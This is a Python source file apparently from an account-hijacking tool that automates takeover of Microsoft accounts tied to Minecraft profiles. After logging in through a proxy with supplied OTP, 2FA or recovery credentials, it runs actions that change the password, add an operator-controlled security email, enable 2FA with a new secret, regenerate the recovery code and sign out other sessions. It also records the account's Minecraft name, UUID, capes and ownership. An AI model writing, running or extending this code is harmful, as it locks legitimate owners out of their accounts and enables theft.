sten.wtf / Unstable Instance

secure/engine.py

import logging
from typing import Callable

from config import InstanceConfig
from mail.imap_reader import imap_cfg_from_instance
from secure.auth import mslogin, otp, recovery, twofa
from secure.pipeline.actions.alias import AliasAction
from secure.pipeline.actions.enable_2fa import EnableTwoFactorAction
from secure.pipeline.actions.password import PasswordAction
from secure.pipeline.actions.profile import ProfileAction
from secure.pipeline.actions.recovery_code import RecoveryCodeAction
from secure.pipeline.actions.security_email import SecurityEmailAction
from secure.pipeline.actions.signout import SignoutAction
from secure.pipeline.runner import run_pipeline
from secure.types import ActionResult, PipelineContext, SecureResult

logger = logging.getLogger("secure.engine")

AUTH_METHODS: dict[str, Callable] = {
    "otp": otp.authenticate,
    "2fa": twofa.authenticate,
    "recovery": recovery.authenticate,
}

_FOLD_MAP: dict[str, tuple[str, str]] = {
    "recovery_code": ("new_recovery_code", "recovery_code"),
    "password": ("new_password", "password"),
    "security_email": ("added_security_email", "security_email"),
    "enable_2fa": ("new_totp_secret", "totp_secret"),
}


def build_actions() -> list:
    return [
        AliasAction(),
        RecoveryCodeAction(),
        PasswordAction(),
        SecurityEmailAction(),
        EnableTwoFactorAction(),
        SignoutAction(),
        ProfileAction(),
    ]


async def _open_http(proxy):
    return await mslogin.open_http(proxy)


def _fold(result: SecureResult, action_result: ActionResult) -> None:
    if action_result.name == "profile":
        data = action_result.data
        result.mc_username = data.get("mc_username")
        result.mc_uuid = data.get("mc_uuid")
        result.skin_url = data.get("skin_url")
        result.mc_capes = data.get("mc_capes")
        result.mc_ownership = data.get("mc_ownership")
        result.mc_name_change_allowed = data.get("mc_name_change_allowed")
        return
    mapping = _FOLD_MAP.get(action_result.name)
    if mapping is None:
        return
    field_name, data_key = mapping
    value = action_result.data.get(data_key)
    if value is not None:  # a failed action must not null out a seeded value
        setattr(result, field_name, value)


async def secure(method: str, creds: dict, cfg: InstanceConfig) -> SecureResult:
    email = creds.get("email")
    http = await _open_http(cfg.proxy_url)
    try:
        outcome = await AUTH_METHODS[method](creds, http, cfg.proxy_url, cfg)
        if outcome.session is None:
            return SecureResult(
                method=method,
                email=email,
                authenticated=False,
                fail_reason=outcome.fail_reason,
                actions=[],
            )

        ctx = PipelineContext(
            security_email=cfg.security_email,
            imap=imap_cfg_from_instance(cfg),
            proxy=cfg.proxy_url,
            log=logger.info,
        )
        action_results = await run_pipeline(outcome.session, build_actions(), ctx)

        result = SecureResult(
            method=method,
            email=email,
            authenticated=True,
            fail_reason=None,
            actions=action_results,
        )
        # Recovery resets the password / attaches the security email during auth;
        # seed those so they're reported even if the pipeline actions no-op. A
        # successful PasswordAction/SecurityEmailAction still overrides below.
        extra = outcome.session.extra or {}
        if extra.get("new_password"):
            result.new_password = extra["new_password"]
        if extra.get("added_security_email"):
            result.added_security_email = extra["added_security_email"]
        for action_result in action_results:
            _fold(result, action_result)
        return result
    finally:
        await http.close()